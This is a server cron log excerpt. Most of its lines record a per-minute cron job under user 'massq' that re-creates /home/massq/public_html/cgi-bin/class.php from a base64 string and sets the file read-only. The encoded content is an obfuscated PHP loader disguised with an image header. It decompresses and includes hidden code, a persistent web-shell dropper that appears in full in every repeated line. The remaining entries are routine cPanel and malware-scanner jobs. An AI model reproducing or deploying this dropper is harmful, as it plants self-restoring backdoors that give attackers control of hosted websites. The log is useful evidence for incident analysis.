Nov 14 20:37:01 server CROND[23413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:38:01 server CROND[24346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:39:01 server CROND[25348]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 20:39:01 server CROND[25349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:40:01 server CROND[26177]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 20:40:01 server CROND[26178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:40:01 server CROND[26180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:40:01 server CROND[26179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:41:01 server CROND[26948]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:42:01 server CROND[27871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:42:01 server CROND[27872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 20:43:01 server CROND[28804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:44:01 server CROND[29636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:45:01 server CROND[30598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:45:01 server CROND[30599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:45:01 server CROND[30600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:46:01 server CROND[31781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:47:01 server CROND[32694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:48:01 server CROND[1177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:49:01 server CROND[1965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:50:01 server CROND[3007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:50:01 server CROND[3006]: (root) CMD (/usr/lib64/sa/sa1 1 1)
